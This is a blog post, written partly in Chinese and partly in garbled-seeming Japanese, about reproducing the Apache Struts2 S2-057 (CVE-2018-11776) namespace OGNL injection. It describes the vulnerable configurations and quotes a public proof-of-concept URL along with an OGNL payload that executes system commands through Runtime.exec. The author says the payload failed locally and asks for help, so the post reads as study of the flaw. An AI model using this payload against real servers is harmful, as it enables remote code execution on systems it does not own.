下午正不慌不忙测着我的安卓应用呢,突然爆了个Struts2漏洞,心里咯噔一下,不会吧,上个月工作汇报还在吹水Struts2在升级OGNL后,很难由于不正当OGNL解析造成任意命令执行了。原文见:
https://blog.csdn.net/u013224189/article/details/81091874
怀着不安的心情,看了下漏洞信息,踏马的,还真是这个地方。Struts2 7月份升级的2.3系列的版本,就是封堵了namespace,8月份又发布了2.5最新版本,还是封堵这个地方,总的来说就是避免在没有正确配置的情况下,直接从URI获取namespace的值,并传入程序作为OGNL表达式解析。
由于自己是个小白,所以始终构造不出攻击场景,这次发现漏洞的作者直接在博客里面更新了漏洞细节
https://semmle.com/news/apache-struts-CVE-2018-11776
https://lgtm.com/blog/apache_struts_CVE-2018-11776
根据作者的描述,在以下两种情况下Struts2应用可能存在漏洞
1)当Struts2 的命名空间没有为基础xml配置中定义的结果设置值时,可能造成RCE,同时,其上部操作配置没有通配符namespace。
2)当使用url没有value和action设置的标签并且同时其上部动作配置没有或通配符时,命名空间的条件跟第一种情况相同。
满足下面的场景就可能被利用
场景一:
<struts>
<package ....>
<action name="a1"> //此处没有配置namespace,或namespace为通配符,如/*
<result type="redirectAction"> //result type类型为redirectiAction
<param name="actionName">a2.action</param>
</result>
</action>
</package>
</struts>
场景二:
<s:url includeParams="get">
<s:param name="id" value="%{'22'}" />
</s:url>
上記の状況に対応して、偉大な神がPOCを発表しました
https://github.com/jas502n/St2-057/blob/master/README.md
任意のコマンド実行。1か月前の私の仕事のレポートを思い出して、私の顔はパチパチと音を立てられました。
著者が作成したPOCを見て、
まず、$ {(100 + 100)}を使用
してhttp:// localhost:8888 / struts2-showcase / $ {(100 + 100)} / actionChain1.actionにアクセスすると、OGNL式が正常に実行されます。
http:// localhost:8888 / struts2-showcase / 200 / register2.action
しかし、次のPOCを実行すると、素敵な電卓が表示されません
${(#_memberAccess["allowStaticMethodAccess"]=true,#a[email protected].Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}
S2-032のPOCのように、著者もそう言った。
ローカルテストを受けましたが、それでも電卓を取り出せません。
デバッグ時のプロンプト:
ognl.OgnlException:評価式/連鎖式が無効化されました
どの偉大な神が答えるために渡すことができますか?